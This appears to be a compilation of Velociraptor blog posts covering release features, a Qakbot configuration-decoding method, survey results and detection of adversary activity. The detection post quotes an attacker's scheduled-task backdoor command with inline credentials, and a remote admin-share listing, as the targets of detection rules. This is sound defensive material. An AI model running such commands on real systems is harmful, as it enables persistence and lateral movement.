While this risk is not higher than any other domain wide administration tool, in some deployment scenarios, Velociraptor does not need this level of access normally. While in an incident response situation, it is necessary to promote Velociraptor’s level of access easily.

In the 0.6.9 release, Velociraptor has introduced lock down mode. When a server is locked down certain permissions are removed (even from administrators). The lockdown is set in the config file, helping to mitigate the risk of a Velociraptor server admin account compromise.

After initial deployment and configuration, the administrator can set the server in lockdown by adding the following configuration directive to the server.config.yaml and restarting the server:

lockdown: true

After the server is restarted the following permissions will be denied:

ARTIFACT_WRITER
SERVER_ARTIFACT_WRITER
COLLECT_CLIENT
COLLECT_SERVER
EXECVE
SERVER_ADMIN
FILESYSTEM_WRITE
FILESYSTEM_READ
MACHINE_STATE

Therefore it will still be possible to read existing collections, and continue collecting client monitoring data but not edit artifacts or start new hunts or collections.

During an active IR the server may be taken out of lockdown by removing the directive from the configuration file and restarting the service. Usually the configuration file is only writable by root and the Velociraptor server process is running as a low privilege account which can not write to the config file. This combination makes it difficult for a compromised Velociraptor administrator account to remove the lockdown and use Velociraptor as a lateral movement vehicle.

Audit events

Velociraptor maintains a number of log files over its operation, normally stored in the <filestore>/logs directory. While the logs are rotated and separated into different levels, the most important log type is the audit log which records auditable events. Within Velociraptor auditable events are security critical events such as:

Starting a new collections from a client
Creating a new hunt
Modifying an artifact
Updating the client monitoring configuration

Previous versions of Velociraptor simply wrote those events to the logging directory but this can be deleted if the server becomes compromised.

In 0.6.9 there are two ways to forward auditable events off the server

Using remote syslog services
Uploading to external log management systems e.g. Opensearch/Elastic using the Elastic.Events.Upload artifact.

Additionally, auditable events are now emitted as part of the Server.Audit.Logs artifact so they can be viewed or searched in the GUI by any user.

The server’s audit log is linked from the Welcome page

Inspecting user activity through the audit log

Because audit events are available now as part of the server monitoring artifact, it is possible for users to develop custom VQL server monitoring artifacts to forward or respond to auditable events just like any other event on the client or the server. This makes it possible to forward events (e.g. to Slack or Discord) as demonstrated by the Elastic.Events.Upload artifact above.

Tool definitions can now specify an expected hash

Velociraptor supports pushing tools to external endpoints. A Velociraptor artifact can define an external tool, allowing the server to automatically fetch the tool and upload it to the endpoint.

Previously the artifact could only specify the URL where the tool should be downloaded from. However in this release it is also possible to declare the expected hash of the tool. This prevents potential substitution attacks effectively by pinning the third-party binary hash.

While sometimes the upstream file may legitimately change (e.g. due to a patch), Velociraptor will not automatically accept the new file when the hash does not match the expected hash.

Mismatched hash

In the above I modified the expected hash to be slightly different from the real tool hash. Velociraptor refuses to import the binary but provides a button allowing the user to accept this new hash instead. This should only be done if the administrator is convinced the tool hash was legitimately updated.

Conclusions

There are many more new features and bug fixes in the latest release.

If you want to master Velociraptor, consider joining us at the full Velociraptor training course held this year at the Blackhat Conference and delivered by the Velociraptor developers themselves.

Details here: https://docs.velociraptor.app/announcements/2023-trainings/

Automating Qakbot decode at scale

Wed, 05 Apr 2023 00:00:00 +0000

This is a technical post covering practical methodology to extract configuration data from recent Qakbot samples. In this blog, I will provide some background on Qakbot, then walk through decode themes in an easy to visualize manner. I will then share a Velociraptor artifact to detect and automate the decode process at scale.

Qak!

Qakbot or QBot, is a modular malware first observed in 2007 that has been historically known as a banking Trojan. Qbot is used to steal credentials, financial, or other endpoint data, and in recent years, regularly a loader for other malware leading to hands on keyboard ransomware.

Typical delivery includes malicious emails as a zipped attachment, LNK, Javascript, Documents, or an embedded executable. The example shown in this post was delivered by an email with an attached pdf file:

An example Qakbot infection chain

Qakbot has some notable defense evasion capabilities including:

Checking for Windows Defender sandbox and terminating on discovery.
Checking for the presence of running anti-virus or analysis tools, then modifying its later stage behavior for evasion.
Dynamic corruption of payload on startup and rewrite on system shutdown.

Due to the commodity nature of delivery, capabilities and end game, it is worth extracting configuration from observed samples to scope impact from a given campaign. Hunting enterprise wide and finding a previously missed machine or discovering an ineffective control can be the difference in preventing a domain wide ransomware event, or a similar really bad day.

Configuration

Qakbot has an RC4 encoded configuration, located inside two resources of the unpacked payload binary. The decryption process has not changed significantly in recent times, but for some minor key changes. It uses a SHA1 of a hard coded key that can typically be extracted as an encoded string in the .data section of the payload binary. This key often remains static across campaigns, which can speed up analysis with the maintainance of a recent key list.

Current samples undergo two rounds of RC4 decryption with validation built in. The validation bytes dropped from the data for the second round.

After the first round:

The first 20 bytes in hex is for validation and is compared with the SHA1 of the remaining decoded data
Bytes [20:40] is the key used for the second round of decoding
The Data to decode is byte [40:] onwards
The same validation process occurs for the second round decoded data
- Verification = data[:20]
- DecodedData = data[20:]

First round of Qakbot decode and verification

Campaign information is located inside the smaller resource where, after this decoding and verification process, data is clear text.

The larger resource stores Command and Control configuration. This is typically stored in netaddress format with varying separators. A common technique for finding the correct method is searching for common ports and separator patterns in the decoded data.

Easy to spot C2 patterns: port 443

Encoded strings

Qakbot stores blobs of xor encoded strings inside the .data section of its payload binary. The current methodology is to extract blobs of key and data from the referenced key offset which similarly is reused across samples.

Current samples start at offset 0x50, with an xor key, followed by a separator of 0x0000 before encoded data. In recent samples I have observed more than one string blob and these have occurred in the same format after the separator.

Encoded strings .data

Next steps are splitting on separators, decode expected blob pairs and drop any non printable. Results are fairly obvious when decoding is successful as Qakbot produces clean strings. I typically have seen two well defined groups with strings aligning to Qakbot capabilities.

Decoded strings: RC4 key highlighted

Payload

Qakbot samples are typically packed and need execution or manual unpacking to retrieve the payload for analysis. Its very difficult to obtain this payload remotely at scale, in practice the easiest way is to execute the sample in a VM or sandbox that enables extracting the payload with correct PE offsets.

When executing locally Qakbot typically injects its payload into a Windows process, and can be detected with yara targeting the process for an unbacked section with PAGE_EXECUTE_READWRITE protections.

Below is an example of running PE-Sieve / Hollows Hunter tool from Hasherezade. This helpful tool enables detection of several types of process injection, and the dumping of injected sections with appropriately aligned headers. In this case, the injected process is wermgr.exe but it’s worth to note, depending on variant and process footprint, your injected process may vary.

Dumping Qakbot payload using pe-sieve

Doing it at scale

Now I have explained the decode process, time to enable both detection and decode automation in Velociraptor.

I have recently released Windows.Carving.Qakbot which leverages a PE dump capability in Velociraptor 0.6.8 to enable live memory analysis. The goal of the artifact was to automate my decoding workflow for a generic Qakbot parser and save time for a common analysis. I also wanted an easy to update parser to add additional keys or decode nuances when changes are discovered.

Windows.Carving.Qakbot: parameters

This artifact uses Yara to detect an injected Qakbot payload, then attempts to parse the payload configuration and strings. Some of the features in the artifact cover changes observed in the past in the decryption process to allow a simplified extraction workflow:

Automatic PE extraction and offset alignment for memory detections.
StringOffset - the offset of the string xor key and encoded strings is reused regularly.
PE resource type: the RC4 encoded configuration is typically inside 2 resources, I’ve observed BITMAP and RCDATA
Unescaped key string: this field is typically reused over samples.
Type of encoding: single or double, double being the more recent.
Hidden TargetBytes parameter to enable piping payload in for analysis.
Worker threads: for bulk analysis / research use cases.

Windows.Carving.Qakbot: live decode

Research

The Qakbot parser can also be leveraged for research and run bulk analysis. One caveat is the content requires payload files that have been dumped with offsets intact. This typically requires some post collection filtering or PE offset realignment but enables Velociraptor notebook to manipulate post processed data.

Some techniques I have used to bulk collect samples:

Sandbox with PE dumping features: api based collection
Virustotal search: crowdsourced_yara_rule:0083a00b09|win_qakbot_auto AND tag:pedll AND NOT tag:corrupt (note: this will collect some broken payloads)

Bulk collection: IPs seen across multiple campaign names and ports

Some findings from a small data set ~60 samples:

Named campaigns are typically short and not longer than a few samples over a few days.
IP addresses are regularly reused and shared across campaigns
Most prevalent campaigns are BB and obama prefixed
Minor campaigns observed: azd, tok and rds with only one or two observed payload samples each.

Strings analysis can also provide insights to sample behavior over time to assist analysis. A great example is the adding to process name list for anti-analysis checks.

Bulk collection: Strings highlighting anti-analysis check additions over time

Conclusion

During this post I have explained the Qakbot decoding process and introduced an exciting new feature in Velociraptor. PE dumping is a useful capability and enables advanced capability at enterprise scale, not even available in expensive paid tools. For widespread threats like Qakbot, this kind of content can significantly improve response for the blue team, or even provide insights into threats when analyzed in bulk. In the coming months the Velociraptor team will be publishing a series of similar blog posts, offering a sneak peek at some of the types of memory analysis enabled by Velociraptor and incorporated into our training courses.

I also would like to thank some of Rapid7’s great analysts - Jakob Denlinger and James Dunne for bouncing some ideas when writing this post.

References

The Velociraptor annual community survey

Sat, 01 Apr 2023 00:00:00 +0000

Velociraptor is an open source project led and shaped by the community. Over the years, Velociraptor has become a real force in the field of DFIR making it the obvious choice for many operational situations.

The Velociraptor development team is committed to continue making Velociraptor the premier open source DFIR and security tool. We are therefore interested to hear about how the tool is used in the community and what the community expectations are in regard to capabilities, features and use cases. We use this information in order to shape future development direction, set priorities and develop our road map.

In early 2023, the Velociraptor team distributed a community survey which was very well received. We are grateful to the community members who took the time to respond. As an open source project, we depend on our community to contribute. There are many ways contributors can help the project, from developing code, to filing bugs or improving documentation. One of the most important ways users can contribute is by providing valuable feedback through channels such as this survey, to help shape the future road map and new features.

In this blog post I wanted to share some of the responses we received.

Who are the Velociraptor Community?

Overall there were 213 responses. By far the majority of responders were Analysts (57%) and Managers (26%) indicating that most of the respondents are people who know and use Velociraptor frequently.

We wanted to get a feel for the type of companies using Velociraptor. Users fell pretty evenly into company sizes, with about 30% of responses from small companies (less than 100 employees) and 20% of responses from very large companies of 10,000 employees or more.

These companies also came from a wide range of industries. While many were primarily in the information security fields such as Managed Security Service Providers (MSSP), Consultants and Cybersecurity businesses, we also saw a large number of responses from the Government sector, the Aerospace industries, Education, Banking/Finance, Health care, etc.

With such a wide range of users we were interested in how often users were using Velociraptor. About a third of users use Velociraptor frequently, a third use it occasionally and a third are in the process of evaluating and learning about the tool.

Velociraptor use cases

Velociraptor is a powerful tool with a wide feature set. We wanted to glimpse an idea of what features were most popular and how users prioritize these features. Specifically, we asked about the following main use cases:

Client monitoring and alerts (Detection).

Velociraptor can collect client event queries focused on detection. This allows the client to autonomously monitor the endpoint and send back high value events when certain conditions are met.

12% of users were actively using this feature to monitor the end point.
Proactively hunt for indicators (Threat intelligence)

Velociraptor’s unique ability to collect artifacts at scale from many system can be combined with threat intelligence information (such as hashes, etc.) to proactively hunt for compromises by known actors. This question was specifically related to hunting for threat feed indicators, such as hashes, IP addresses etc.

16% of users were utilizing this feature
Ongoing forwarding of events to another system

Velociraptor’s client monitoring queries can be used to simply forward events (such as ETW feeds).

6% of users were utilizing this feature
Collecting bulk files for analysis on another system (Digital Forensics)

Velociraptor can be used to collect bulk files from the endpoint for later analysis by other tools (for example using the Windows.Collection.KapeFiles artifact).

20% of users were using this feature regularly.
Parse for indicators on the endpoint (Digital Forensics)

Velociraptor’s artifacts are used to directly parse files on the endpoint, returning actionable high value information quickly without the need for lengthy post processing.

21% of users use these types of queries.
Proactive hunt for indicators across many systems (Incident Response)

Velociraptor can hunt for artifacts from many endpoints at once.

21% of users use this capability.

We further asked for the relative importance of these features.

Users valued most the ability to collect bulk files and hunting for artifacts across many systems, followed by the ability to parse artifacts directly on the endpoints.

Backwards compatibility

As developers we need to understand how important backwards compatibility is to users so we can develop effective update procedures.

Some users deployed Velociraptor for limited time engagements so they did not need backwards compatibility for stored data as they wouldn’t be upgrading to major versions within the same deployment.

Other users required more stable data migration but were generally happy with removing data compatibility if necessary. For example, with one response stating “I would rather you prioritize improvements over compatibility even if it breaks things.”

Another user explained: “In a typical Incident Response scenario, Digital Forensics data has a shelf life of a few weeks or months at best and I am comfortable with the convertibility and portability of much of the data that Velociraptor collects such that archival data can still be worked with even if newer versions of the server no longer support a deprecated format/archive. Just saying that I think there will be workarounds if this becomes an issue for folks with mountains of legacy data that hasn’t been exported somewhere more meaningful for longer term storage and historical data analytic/intelligence purposes.”

Generally most users indicated they rarely or never needed to go back to archived data and re-analyze.

Version compatibility

The Velociraptor support policy officially only supports clients and servers on the same release version. However in reality it usually takes longer to upgrade clients than servers. While some users are able to upgrade clients promptly, many users estimate between 10-50% of deployed clients are a version older than the server.

The Velociraptor team therefore needs to maintain some compatibility with older clients to allow time for users to upgrade their endpoints.

The offline collector

The offline collector is a way to use Velociraptor’s artifacts without needing to deploy a server. This feature is used mainly when we need to rely on another party to run the actual collection or we are not able to deploy a new agent on the endpoint.

This feature is used exclusively by about 10% of users, while a further 30% of users use it frequently. It is an important feature for Velociraptor and the Velociraptor team should devote more time to making this even more seamless and easy to use.

Most users of the offline collection deploy it manually (50%), while deploying via another EDR tool, or via Group Policy are also robust options. Some users have created custom wrappers to deploy the offline collector in the field.

The Offline collection supports directly uploading the collection to a cloud server using a number of methods.

The most popular upload method is to an AWS S3 bucket (30%) while the SFTP connector in the cloud or a custom SFTP server on a VM are also popular options (20% and 23%). Uploading directly to Google Cloud Storage is the least popular option at about 5%.

Manual copy methods were also popular ranging from EDR based copying to Zoom file copy.

A commonly requested method was Azure blob storage which Velociraptor currently does not support. Many responses indicate that SFTP is currently a workaround to the lack of direct Azure support. The Velociraptor team should prioritize supporting Azure blob storage.

Data analysis

Velociraptor supports collecting raw files (e.g. Event log files, $MFT etc) for analysis in other tools. Alternatively Velociraptor already contains extensive parsers for most forensic artifacts that can be used directly on the endpoint.

Most users do use the built in forensic parsing and analysis artifacts (55%) but many users also collect raw files (e.g. via the Windows.Collection.KapeFiles artifact).

VQL artifacts

Velociraptor uses the Velociraptor Query Language to perform collections and analysis. The VQL is usually shared via an Artifact with the community.

Most users utilize the built in artifacts as well as the artifact exchange. A significant number of users also develop their own artifacts for their own use. Over 60% of users report that they develop their own artifacts.

For those users who develop their own artifacts, we asked about limitations and difficulties in this process. A common theme that arose was around debugging artifacts and the lack of a VQL debugger and better error reporting.

Training and documentation was also pointed as needing improvements. A suggestion was made to enhance documentation with a lot more examples of how each VQL plugin can be used in practice.

Luckily the Velociraptor team is running a training course at BlackHat 2023 this year so users can learn from the Velociraptor developers detailed information of how to deploy Velociraptor and write effective custom VQL.

Role based access controls

Velociraptor is a very powerful tool and concentrates a lot of responsibility in the hands of a few users. To control access to the tool, Velociraptor has a role based access control mechanism, where users can be assigned roles from administrator, investigator to read-only access provided by the reader role.

Users generally found this feature very useful, with 40% of users finding it moderately useful and a further 20% and 15% further finding it very useful and extremely useful, respectively.

The main suggestions for improvements include:

Easier management through the GUI (as of version 0.6.8 all user ACLs are managed through the GUI now).
Custom roles with more granular permissions.
Better logging and auditing.
Some way to allow a specific role to only run a pre-approved subset of artifacts. Some way to only run signed/hashed VQL - prevent a malicious artifact being dropped on the server.
Making it clearer what each permission grants the user.

Multi-tenant support

In recent versions, Velociraptor offers a fully multi-tenanted mode, where organizations can be created and destroyed quickly with minimal resource overheads. This feature is used by 25% of respondents, who are mainly consultants using it to separate out different customers. Some companies use multi-tenancies to separate out different organizations in the same business or subsidiaries.

Client monitoring and alerting

Velociraptor can run event queries on the client. These VQL queries run continuously and stream results to the server when certain conditions are met. A common use case for these is to generate alerts and for enhanced detection.

Some users deploy client monitoring artifacts frequently while others see it as an alternative to EDR tools, when these are available. The primary use case breakdown was:

Detection (e.g. alert when an anomalous event occurs) - 27% of users
Collection of client events (e.g. forward process event logs to an external system) - 18% of users
Remediation (e.g. quarantine or remove files automatically) - 15% of users

While 30% of users do not use client monitoring at all.

The main pain point with client monitoring seems to be the lack of integrated alerting capability (an issue currently being worked on). Some useful feedback on this feature included:

Better support for integration with business tools - e.g., Teams, Slack, etc.
Easier to manage event data.
Not having to build a server side artifact for each client_event artifact. And a dashboard that lists all alerts. Also, an easier way to forward alerts based on severity.
Lack of pre-built detection rules / packs. In other words, it would be easier to tune down, than to build up.

The Quarantine feature

Velociraptor can quarantine an endpoint by collecting the Windows.Remediation.Quarantine artifact. This artifact tunes the firewall rules on the endpoint to block all external network communication while maintaining connectivity to the Velociraptor host. This allows for an endpoint to be isolated during investigation.

The feature was “sometimes used” by about 30% of users and “always used” by 12%, making it a popular feature.

How is Velociraptor deployed?

Velociraptor is a very light weight solution, typically taking a few minutes to provision a new deployment. For many of our users, Velociraptor is used in an Incident Response context on an as-needed basis (46%). Other users prefer a more permanent deployment (25%).

For larger environments, Velociraptor also supports multi-server configuration (used by 13% of users), while the more traditional single server deployment option is used by 70% of users.

While some users deploy very short lived deployments of several days or less (13%), most users keep their deployment for several weeks (27%) to months or permanently (44% of users).

Velociraptor is designed to work efficiently with many end points. We recommend a maximum of 15-20k endpoints on a single server before switching to a multi-server architecture (although users reported success with larger deployment sizes on a single server). This level of performance is adequate in practice for the majority of users.

Many users run deployments of less than 250 endpoints (44%) while a further 40% of users deploy to less than 5,000 endpoints.

Approximately 10% of users have deployment sizes larger than 25,000 endpoints with 2% of users over 100,000 endpoints.

Popular operating systems

Among Velociraptor’s supported operating systems, Windows 64-bit, is the most popular (with 82% of users ranking it the most deployed OS type), while Linux is the next most popular deployed endpoint OS (26% ranked second, and 48% third). Finally, Mac is the third popular choice for Velociraptor’s users, with 32-bit Windows systems still very prevalent.

Resources and references

Velociraptor’s web site at https://docs.velociraptor.app/ contains a wealth of reference material, training courses and presentations. We also have an active YouTube channel (https://www.youtube.com/@velocidexenterprises8702) with many instructional videos.

While some users ranked the website as Extremely Useful (25%) there is clearly room for improvements with 42% of users only rating it as Very Useful or Moderately Useful (28%).

Suggestions for improvements included:

More in-depth YouTube videos breaking down the tool’s features with workflows.
More detailed “how to” with practical examples.
Improved documentation about functions and plugins with a slightly more detailed explanation and a small example.
Documents seem to be outdated, would like to see updates to the documentation to reflect the new versions and features.

Testimonials

Finally I wanted to share with you some of the testimonials that users wrote in the survey. We are humbled with the encouraging and positive words we read, and are excited to be making an impact on the DFIR field.

I have to congratulate you and thank you for developing such an amazing tool. It’s the future of DFIR. I hope Rapid7 won’t make it very expensive in the future.
Awesome product, can’t wait to use it in prod!
This is a game changer for the DFIR industry. Keep up the great work.
Keep the file system based back end, its simplicity makes chain of custody/court submissions possible.
I thoroughly love Velociraptor. The team and community are absolutely fantastic. I would go as far as to say that Mike and Matthew Green are my favorite infosec gentlemen in the industry.
Y’all are awesome. I feel like I was pretty critical but that’s because this is an amazing software, and want to see it continue to grow and improve.
We have been deploying Velociraptor to client environments almost since it was released. Our DFIR business model is entirely centered around it and it works very well for us. It is a great solution that just keeps getting better and better

Conclusions

This is our first Velociraptor community survey, and it has proven to be extremely useful. Since Velociraptor is a community-led open source project, we need an open feedback loop to our users, to understand where things need to be improved and what features should be prioritized.

At the same time, since Velociraptor is an open source project, I hope this survey will inspire contributions from the community. We value all contributions, from code to documentation, testing and bug reports.

Finally for all our US based users, we hope to see you all in person at BlackHat 2023 this year! Join us for an in depth Velociraptor training and to geek out with VQL for 4 days, learning practical, actionable skills and supporting this open source project.

Velociraptor 0.6.8 Release

Mon, 13 Feb 2023 00:00:00 +0000

I am very excited to announce the latest Velociraptor release 0.6.8 is now live. This release has been in the making for a few months now and has a lot of new features and bug fixes.

In this post I will discuss some of the interesting new features.

Performance improvements

A big theme in the 0.6.8 release was about performance improvement, making Velociraptor faster, more efficient and more scalable (even more so than it currently is!).

New client-server communication protocol

When collecting artifacts from endpoints we need to maintain a collection state (e.g. how many bytes were transferred?, how many rows? was the collection successful? etc). Previously tracking the collection was the task of the server, but this extra processing on the server limited the total number of collections the server could process.

In the 0.6.8 release a new communication protocol was added to offload a lot of the collection tracking to the client itself. This lowers the amount of work on the server and therefore allows more collections to be processed by the server at the same time.

To maintain support with older clients, the server continues to use the older communication protocol with them - but will achieve the most improvement in performance once the newer clients are deployed.

New Virtual File System GUI

The VFS feature in Velociraptor allows users to interactively inspect directories and files on the endpoint, in an familiar tree user interface. The previous VFS view would store the entire directory listing in a single table for each directory. For very large directories like C:\Windows or C:\Windows\System32 (which typically have thousands of files) this would strain the browser leading to unusable UI.

In the latest release, the VFS GUI uses the familiar paged table and syncs this directory listing in a more efficient way. This improves performance significantly: for example, it is now possible and reasonable to perform a recursive directory sync on C:\Windows, on my system syncs over 250k files in less than 90 seconds.

Inspecting a large directory is faster with paging tables.

Since the VFS is now using the familiar paging table UI, it is also possible to filter, sort on any column using the same familiar UI.

Faster export functionality

Velociraptor hunts and collections can be exported to a ZIP file for easy consumption in other tools. The 0.6.8 release improved the export code to make it much faster. Additionally the GUI was improved to show how many files were exported into the zip, and other statistics.

Exporting collections is much faster!

Tracing capability on client collections

We often get questions about what happened to a collection that seems to be hung? It is difficult to know why a collection seems to be unresponsive or stopped - it could mean the client was killed for some reason, (e.g. due to excessive memory use or a timeout).

Previously the only way to gather client side information was to collect a Generic.Client.Profile collection. This required running it at just the right time and did not guarantee that we would get helpful insight of what the query and the client binary were doing during the operation in question.

In the latest release it is possible to specify a trace on any collection to automatically collect client side state as the collection is progressing.

Enabling trace on every collection increases visibility

Trace files contain debugging information

VQL improvement - disk based materialize operator

The VQL LET ... <= operator is called the materializing LET operator because it expands the following query into a memory array which can be accessed cheaply multiple times.

While this is useful for small queries, it has proved dangerous in some cases, because users inadvertently attempted to materialize a very large query (e.g. a large glob() operation) dramatically increasing memory use. For example, the following query could cause problems in earlier versions.

LET X <= SELECT * FROM glob(globs=specs.Glob, accessor=Accessor)

In the latest release the VQL engine was improved to support a temp file based materialized operator. If the materialized query exceeds a reasonable level (by default 1000 rows), the engine will automatically switch away from memory based storage into file backed storage. Although file based storage is slower, memory usage is more controlled.

Ideally the VQL is rewritten to avoid this type of operation, but sometimes it is unavoidable, and in this case, file based materialize operations are essential to maintain stability and acceptable memory consumption.

New MSI deployment option

On Windows the recommended way to install Velociraptor is via an MSI package. The MSI package allows the software to be properly installed and uninstalled and it is also compatible with standard Windows software management procedures.

Previously however, building the MSI requires using the WIX toolkit - a Windows only MSI builder which is difficult to run on other platforms. Operationally building with WIX complicates deployment procedures and requires using a complex release platform.

In the 0.6.8 release, a new method for repacking the official MSI package is now recommended. This can be done on any operating system and does not require WIX installed. Simply embed the client configuration file in the officially distributed MSI packages using the following command:

velociraptor-v0.6.8-rc1-linux-amd64 config repack --exe velociraptor-v0.6.8-rc1-windows-amd64.msi client.config.yaml output.msi

Repacking an MSI for windows distribution

Conclusions

There are many more new features and bug fixes in the latest release. Currently the release is in testing for the next few weeks, so please test widely and provide feedback by opening GitHub issues.

If you like the new features, take Velociraptor for a spin! It is a available on GitHub under an open source license. As always please file issues on the bug tracker or ask questions on our mailing list velociraptor-discuss@googlegroups.com . You can also chat with us directly on discord https://www.velocidex.com/discord .

Tracking an adversary in real-time using Velociraptor

Mon, 09 Jan 2023 00:00:00 +0000

As an incident responder that is fighting an adversary, you typically want to be alerted the moment they conduct hands-on-keyboard activity on systems of the IT-infrastructure that you are investigating. This blog post shows you two practical examples on how to achieve this with Velociraptor.

While detection is not the most typical use-case of Velociraptor, it can be used for that. And to me it has proven to be valuable during engagements when the deployed Endpoint Detection and Response (EDR) solution lacked certain detection capabilities, or when it was not deployed.

Example 1: Track commands

Adversaries often use commands to conduct their malicious activity. Receiving an alert when these commands are launched is very valuable as it allows you to respond quickly.

Let’s say you observed that the adversary planted a backdoor on a remote system using the following scheduled task command:

schtasks /Create /SC minute /mo 5 /TN WindowsUpdateCheck /TR C:/Perflog/m.exe" /ru system /s srv_dc01 /u adm_peter /p adminpw

Using Velociraptor in combination with the system monitoring tool ‘Sysmon’ you’re able to build detection. There is no need to manually install Sysmon, if you follow the steps below it will do it for you.

Open the GUI of the Velociraptor server.
Select a random client.

Go the ‘Client Events’ menu and choose ‘Update the client monitoring table’.

Select the label group, and go to the next window ‘Select Artifacts’
Select the artifact Windows.Detection.ProcessCreation. Optional: if you want to deploy a custom Sysmon config choose SysmonConfig and select it. By default, it selects this config: https://github.com/SwiftOnSecurity/sysmon-config

Adjust the parameters. Below I provided an example of how to detect the scheduled task command.

The regex I used matches specific parameters in the scheduled task command.

(?:(\/ru)|(\/p)|(\/s))

And the advantage of starting the regex with (?: and combining it with capture groups () with pipes | between them, is that the order does not matter. Meaning that even if the adversary shifts some parameters in the command, the detection still works.

Another way that I used to make it a bit harder for the adversary to evade detection, is to filter on the PE Original FileName instead of the Image name. This way detection still works even if the adversary changes the filename of the binary (in the figure above you see that lolbin.exe was renamed from schtasks.exe). Note that detecting on the PE Original Filename will not work anymore if the adversary modified the PE header and changed the original filename - which can be done with a HEX editor, for example.

Why Sysmon?

The artifact shown in this example installs Sysmon. The reason I used Sysmon is that it logs process creation events without failing, even when it is a short-lived process. Missed events result in unreliable detection.

An alternative to Sysmon was consuming process-related events directly from Event Tracing for Windows (ETW). ETW is a mechanism that Microsoft built for troubleshooting and diagnostics, and it provides an enormous amount of events generated by the OS. The process-related events are generated by the ETW provider Microsoft-Windows-Kernel-Process that has the guid {22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}. My testing with this provider resulted in a lot of missed events by Velociraptor (possibly due to the high-volume). And also, short-lived processes could not be enriched with commandline parameters. That is because these parameters are not provided by ETW, and enriching with the process running in memory sometimes fails as it is shutdown too early.

For example, running the following command that lists content of a remote drive dir \\10.96.20.20\c$ sometimes only logs dir because enriching failed. And therefore your detection would not work if you attempt to match on commandline. Which is something you would want in this case, because matching on only dir would undoubtedly result in too many false-positives.

Because I wanted reliable detection I chose Sysmon instead of directly consuming the process events from the aforementioned ETW provider.

Example 2: Track compromised accounts

The Windows Event Log is a great log source that enables you to track adversary activity in real-time. Due to the Event Log tracker of Velociraptor, you can easily monitor for new entries.

Let’s say the adversary uses the Windows accounts adm_peter and svc_iis to move laterally through the IT-infrastructure, you can monitor for any activity concerning these accounts using the artifact Windows.Events.Trackaccount.

To configure this using the GUI of the Velociraptor server, go to:

Select a random client:

Go to ‘Client Events’ in the menu
Choose ‘Update client monitoring table’

Select the Label group and go to the next window.
Select the artifact Windows.Events.Trackaccount.
Configure the artifact parameters. In the example below it logs authentication events (Windows Event ID ‘4624’) concerning the accounts adm_peter and svc_iis. You are also able to specify the LogonType (3 = network logon, 10 = interactive logon, etc).

Monitor vs contain

When reading the above example you might have thought: “why should I monitor a compromised account when I can disable it?” There are valid reasons why in some cases you first want to monitor for a while. For example, when you disable only one account, and the adversary also compromised other accounts, you did not stop or slow down the adversary. And you likely only alerted them that you are after their tail. Which is something you want to avoid, as the adversary might change tactics which makes it harder for you to track hem.

Another reason why it sometimes makes sense to leave the account active, is to monitor it with the goal in mind to learn about the Tools, Tactics, and Procedures (TTP) of the adversary. This in turn can be used to strengthen the organization their defenses to prevent similar incidents from occurring again in the future.

There are also valid reasons why you would want to disable compromised accounts immediately instead of monitoring for a while. For example, when it actually slow down or stop the adversary, or when it is the policy of the organization.

Even better containment tactics to stop the adversary, are listed below. These are particularly helpful when the extend of the compromise is not yet clear.

Block or limit outbound network-communication. If done correctly this will prevent active command & control (C&C) channels.
Block DNS requests to external servers as DNS can tunnel C&C traffic.
Block or limit inbound network-communication. As the adversary could have placed web-shells on web servers, or compromised other potential entry points.

It is important to have a discussion of the above with the client. They typically want to balance the potential risk of the compromise against the operational impact. In the end they are the ones who need to make that decision.

At some point in the investigation you definitely want to disable all compromised accounts or reset passwords. The same applies to all other remediation activities aimed at kicking the adversary out, such as blocking malicious IP addresses, blackholing malicious domains, quarantining compromised systems, resetting passwords, etc. The most effective time to execute these activities is when there is a thorough understanding of the extent of the compromise. This is referred to by Mandiant as the Strike Zone.

Striking too soon may result in re-doing the remediation activities. Striking too late may result in the adversary achieving their mission. Finding the sweet spot is important, and for me that is when I don’t find any new evidence and when I feel comfortable in knowing we have enough measures in place to respond effectively when the adversary comes back.

Sending alerts

When you want to send an alert the moment a detection took place, follow the steps below. This enables the server-side artifacts that monitor for triggered alerts.

In the below example I used Teams to receive the alerts, but any other communication platform that supports Webhooks would work.

Go to Server Events and update the server monitoring table

Select the artifact ‘Server.Alerts.ProcessCreation’ and/or Server.Alerts.Trackaccount and go to the next window ‘Configure Parameters’.

Create a webhook and enter the URL as a parameter. They are easy to obtain, a quick procedure for Microsoft Teams can be found here. Webhooks for other platforms can also be created, such as for Slack, Discord, and others.
If all works well, you should receive an alert in your communication platform when an alert is triggered.

Creating an overview of alerts

Besides sending alerts, it is also handy to create an overview in Velociraptor with all alerts. With the Notebook capability you can create this. One requirement is that the server-side artifacts needs to be created by following the steps in the previous paragraph.

The VQL query below is what you can enter in a Notebook to create an overview of the alerts.

SELECT EventData.UtcTime as UtcTime,
       EventData.CommandLine as CommandLine,
       Hostname, ClientId
FROM source(artifact='Server.Alerts.ProcessCreation')

If you want to list the alerts of the artifact Windows.Events.Trackaccount you need to make some slight changes to the VQL query, such as changing the artifact name and the selected fields.

Test. Test. Test.

Always test the detections you put in place. The way I typically test with Velociraptor is by mimicking the adversary activity on a test system that is connected to the Velociraptor server. For example, I launch a command that the adversary used and I check to see if that results in an alert. Another possibility is launching remote shell commands via Velociraptor.

What more can be done?

The sky is the limit when it comes to detecting the adversary using Velociraptor. And there are still opportunities for building artifacts:

Registry changes (for example when persistence of malware is created)
Detect process injection
Named pipes detection

Below is a list of artifacts that are already built:

File changes (Windows.Detection.Usn)
DNS request monitoring (for clients: Windows.ETW.DNS, and for servers: Windows.ETW.DNSQueriesServer)
Service creation (Windows.Events.ServiceCreation)
PsExec usage (Windows.Detection.PsexecService)
WMI process creation events (Windows.ETW.WMIProcessCreate)

If you have any other ideas for detection feel free to share!

Velociraptor 0.6.7 Release

Sat, 19 Nov 2022 00:00:00 +0000

I am very excited to announce the latest Velociraptor release 0.6.7 is now out. This release has been in the making for a few months now and has a lot of new features and bug fixes.

In this post I will discuss some of the interesting new features.

NTFS Parser changes

In this release the NTFS parser was improved significantly. The main areas of developments were around better support for NTFS compressed and sparse files and better path reconstruction.

In NTFS there is a Master File Table (MFT) containing a record for each file on the filesystem. The MFT entry describes a file by attaching several attributes to the file. Some of these attributes are $FILE_NAME attributes representing the file names of the file.

In NTFS a file may have multiple names. Normally, files have a long file name and a short filename. Each $FILE_NAME record also contains a reference to the parent MFT entry of its directory.

